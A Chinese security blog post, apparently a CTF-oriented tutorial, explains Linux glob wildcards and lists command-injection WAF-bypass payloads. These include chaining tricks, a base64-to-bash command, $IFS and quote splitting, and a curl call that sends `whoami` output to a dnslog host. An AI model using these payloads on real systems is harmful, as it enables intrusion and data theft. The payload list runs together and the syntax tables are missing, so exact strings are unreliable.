[命令执行,通配符,WAF绕过,linux,CTF]
前几天在微博和公众号上看到一些使用Linux通配符/glob模式来绕过命令执行的方式,感觉很不错,学习总结下。
首先先了解下什么是Linux shell 通配符/glob模式:
概念:
glob 模式(globbing)也被称之为 shell 通配符,名字的起源来自于 Unix V6 中的/etc/glob (详见 man 文档)。glob 是一种特殊的模式匹配,最常见的是通配符拓展,也可以将 glob 模式设为精简了的正则表达式,在最新的 CentOS 7 中已经删除了 glob 的相关描述文档,删除的原因由于 glob 已经整合到了 shell 之中,然后就有了 shell 通配符。shell 通配符 / glob 模式通常用来匹配目录以及文件,而不是文本!!!
语法:
专用字符集
Linux shell 元字符,在使用通配符时如果没有进行转义可能就会被辨识为元字符
其他绕过方式
ls | idls ; id 在shell中,担任"连续指令"功能的符号就是"分号"ls & idls 回车 idls `id` ls ` id` 前面加了一个空格ls `id` 反斜杠 id等价于idls $(id)ls | a=i;b=d;$a$b 拼接ls | echo aWQ=| base64 -d | bash 利用base64`echo "aWQ="|base64 -d`ls | curl xxx.ceye.io/`whoami` 利用dnslog或者http web logcat<1.txtcat$IFS$91.txtcat${IFS}1.txtcat$IFS1.txt%0acat%091.txtw'h'o'am'iw"h"o"am"iwho$@amiecho i$@d|$0w$@h$@o$@a$@m$@i
注意事项
- 在使用专属字符集的时候,字符集之外还需要用 来包含住,否则专用字符集不会生效,例如 [[:space:]]
- 想要转义的时候,单引号与双引号使用方法是不同的,单引号会转义所有字符,而且单引号中间不允许再出现单引号,双引号允许出现特定的 shell 元字符,具体字符可以自行查询
- 在使用花括号 {} 的时候,里面的单个字符串需要使用单引号或者双引号括住,否则就会视为多个的单个字符
Referer:
https://www.cnblogs.com/divent/archive/2016/08/11/5762154.html
https://medium.com/secjuice/waf-evasion-techniques-718026d693d8
作者: 瓦都剋
欢迎来安全脉搏查看更多的干货文章和我们一起交流互动哦!
脉搏地址:安全脉搏 | 分享技术,悦享品质
微博地址:Sina Visitor System
【注:安全脉搏所有文章未经许可,谢绝转载】